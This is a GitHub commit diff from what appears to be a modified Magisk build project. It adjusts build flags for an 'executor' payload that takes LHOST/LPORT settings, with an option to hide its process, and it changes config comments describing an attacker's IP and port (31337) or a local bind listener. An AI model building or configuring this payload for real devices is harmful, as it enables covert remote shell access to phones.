File tree Expand file tree Collapse file tree 2 files changed +3
-3
lines changed Expand file tree Collapse file tree 2 files changed +3
-3
lines changed Original file line number Diff line number Diff line change @@ -331,7 +331,7 @@ def build_binary(args):
331331 base_flags += ' MAGISK_DEBUG=1'
332332
333333 if 'executor' in args .target :
334- flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={ config .get ("lport" )} LHOST={ config .get ("lhost" )} '
334+ flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={ config .get ("lport" ) or "" } LHOST={ config .get ("lhost" ) or "" } '
335335 if config .get ("hide_process_bind" ) == "1" :
336336 flags += ' HIDE_PROCESS_BIND=1'
337337 run_ndk_build (flags )
Original file line number Diff line number Diff line change 3434# (see native/jni/payload/executor.cpp)
3535#####################################################
3636
37- # lport=31337 # Attacker's port
38- # lhost=192.168.0.10 # Attacker's IP
37+ # lport=31337 # Attacker's (or local bind) port. Default: 31337
38+ # lhost=192.168.0.10 # Attacker's IP. If not present, will listen on LPORT
3939
4040
4141#####################################################
You can’t perform that action at this time.
0 commit comments